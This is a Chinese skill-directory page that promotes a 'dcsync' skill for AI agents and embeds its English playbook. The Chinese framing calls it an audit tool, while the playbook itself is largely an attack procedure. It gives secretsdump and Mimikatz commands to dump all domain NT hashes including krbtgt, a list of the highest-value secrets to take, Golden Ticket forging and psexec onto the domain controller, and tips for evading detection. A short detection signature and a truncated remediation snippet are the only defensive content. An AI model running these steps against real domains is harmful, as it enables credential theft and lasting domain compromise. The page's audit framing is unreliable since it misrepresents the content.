跳到正文
Skillpedia
安全6.5k · #13941

dcsync

它能做什么

这项技能讲解如何找出能够从域控制器复制目录数据的账户,以及把这类权限交给错误账户时的风险。适合负责审计谁持有这些权限的安全人员。

适用场景

  • ✓当安全测试人员想列出已获授权域中拥有复制权限的账户时。
  • ✓当智能体需要区分这些权限的正常持有者和异常持有者时。
  • ✓当审计报告需要说明权限授予过多的风险时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我查一下,我们已获授权的测试域中,哪些账户拥有了本不该有的复制权限?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体查询域数据中拥有复制权限的账户,与预期名单进行比对,然后报告其中异常的账户。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

DCSync Playbook

DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.

1. Identify DCSync candidates

In a hosted engagement, inspect the authorized collection with bloodhound_mcp_exposure_finder and bloodhound_mcp_object_profile, or use bounded read-only bloodhound_mcp_cypher_query for a specific principal. Check data quality before treating absent edges as proof of no exposure. Standalone OSS may use its registered bhce_cypher tool instead.

Or Cypher direct:

MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)

Common holders (legitimate):

  • Domain Admins, Enterprise Admins, Domain Controllers
  • Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
  • Replicator (rare)

Common holders (misconfig = jackpot):

  • Service accounts (admins delegated mistakenly)
  • Helpdesk groups
  • Groups from old migrations

2. Execute DCSync

Impacket (most reliable):

# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
  -outputfile /tmp/secrets

# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'

# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc

# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc

Mimikatz (from Windows):

lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv

3. Output files

secretsdump produces:

  • /tmp/secrets.ntds — user:RID:LM_HASH:NT_HASH::: format
  • /tmp/secrets.ntds.kerberos — Kerberos keys (aes256, aes128, des)
  • /tmp/secrets.ntds.cleartext — any reversibly-encrypted passwords (rare, but yes)

4. Highest-value secrets to grab

User Why What unlocks
krbtgt Master Kerberos key Golden Ticket — persistence + arbitrary user impersonation forever (until rotation)
Administrator Built-in domain admin Direct admin on most assets
Domain Admin members Lateral movement Most assets
<trustname>$ Trust accounts Cross-forest movement
Service accounts Often local admin on hosts Lateral movement
Exchange computer accounts Mailbox access E-discovery / pivot

5. Golden Ticket (post-DCSync)

With krbtgt NT hash:

ticketer.py -nthash KRBTGT_NT \
  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
  -domain 'dom.local' \
  Administrator
# Produces Administrator.ccache — TGT for Administrator that lasts 10 years

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'

6. Promote

kg_add_node(kind="credential", label="krbtgt:NT_HASH",
            props={"source":"dcsync","value":"<hash>"})
kg_add_node(kind="vulnerability", label="DCSync from <principal>",
            props={"severity":"critical"})
kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts")
kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises")

OPSEC

  • DCSync generates event 4662 on DCs with Properties: Replicating Directory Changes
  • Defender's high-signal detection (the only good DCSync detection)
  • BloodHound's :DS-Replication-Get-Changes GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • A single DCSync run, scoped to one user (-just-dc-user), produces less log volume than -just-dc
  • Use Kerberos auth (-k) instead of NTLM to avoid 4624 type-3 noise

Detection signature (so you know what blue sees)

EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$  (filter out DC computer accounts)

CVSS

  • DCSync available to non-DC principal: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Already DA + DCSync: not a separate finding, just post-compromise activity

Defender remediation

# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
  Select -ExpandProperty nTSecurityDescriptor |
  Select -ExpandProperty Access |
  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\Bad
常见问题

这个权限设置是一个漏洞吗?

不是。该技能指出复制是域控制器的正常功能,风险来自于不该持有该权限的账户拥有了它。

通常哪些人持有这些权限?

该技能列出 Domain Admins 和 Domain Controllers 等组作为常见持有者。

这项技能是否表示测试总是被允许的?

不是。它强调复制相关测试仍需要各自的特定授权。

详情

作者的原始描述

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13941
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能